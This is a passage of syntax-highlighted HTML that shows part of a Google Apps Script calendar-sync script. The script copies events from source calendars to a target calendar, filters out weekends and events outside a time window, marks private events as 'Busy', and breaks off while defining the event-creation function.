&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;sourceCalendar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;Logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`Error: Could not find calendar &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;sourceCalendarConfig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sourceEvents&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sourceCalendar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getEvents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;start&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;end&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;Logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="sb"&gt;`Processing &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;sourceCalendarConfig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;sourceEvents&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt; events found.`&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;sourceEvents&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Weekday Filter&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;startTime&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getStartTime&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;endTime&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getEndTime&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;dayOfWeek&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;startTime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getDay&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 0 = Sunday, 1 = Monday, ... 6 = Saturday&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// If it is Sunday (0) or Saturday (6), skip this event.&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dayOfWeek&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;dayOfWeek&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;Logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="sb"&gt;`Skipping event on weekend from &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;sourceCalendarConfig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getTitle&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt; on &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;startTime&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Convert event times to minutes&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;eventStartMins&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;startTime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getHours&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;60&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;startTime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getMinutes&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;eventEndMins&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;endTime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getHours&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;60&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;endTime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getMinutes&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;eventStartMins&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;limitEndMins&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;eventEndMins&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;limitStartMins&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;Logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="sb"&gt;`Skipping event outside time window (&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TIME_WINDOW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;START_HOUR&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;:&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TIME_WINDOW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;START_MINUTE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt; - &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TIME_WINDOW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;END_HOUR&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;:&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TIME_WINDOW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;END_MINUTE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;): &amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getTitle&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;&amp;quot; (&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;startTime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getHours&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;:&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;startTime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getMinutes&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt; - &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;endTime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getHours&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;:&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;endTime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getMinutes&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;)`&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sourceUid&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getId&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;eventKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getStartTime&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;-&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;sourceUid&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;existingEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;existingEventsMap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;eventKey&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Determine Title and Visibility based on privacy setting&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;targetTitle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sourceCalendarConfig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isPrivate&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Busy&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getTitle&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;existingEvent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;updateEventIfChanged&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;existingEvent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;targetTitle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;existingEventsMap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="ow"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;eventKey&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Remove from map to indicate this event is still valid (not an orphan)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;createNewEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;targetCalendar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;sourceUid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;targetTitle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;sourceCalendarConfig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isPrivate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;sourceCalendarConfig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;color&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;createNewEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;targetCalendar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sourceUid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;isPrivate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;color&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;Logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`Creating &amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;&amp;quot; on &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getStartTime&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;, color: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;color&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;description&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TAG_PREFIX&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;sourceUid&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;\nCreated by Google Apps Script`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sourceEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getLocation&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;sendInvites&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

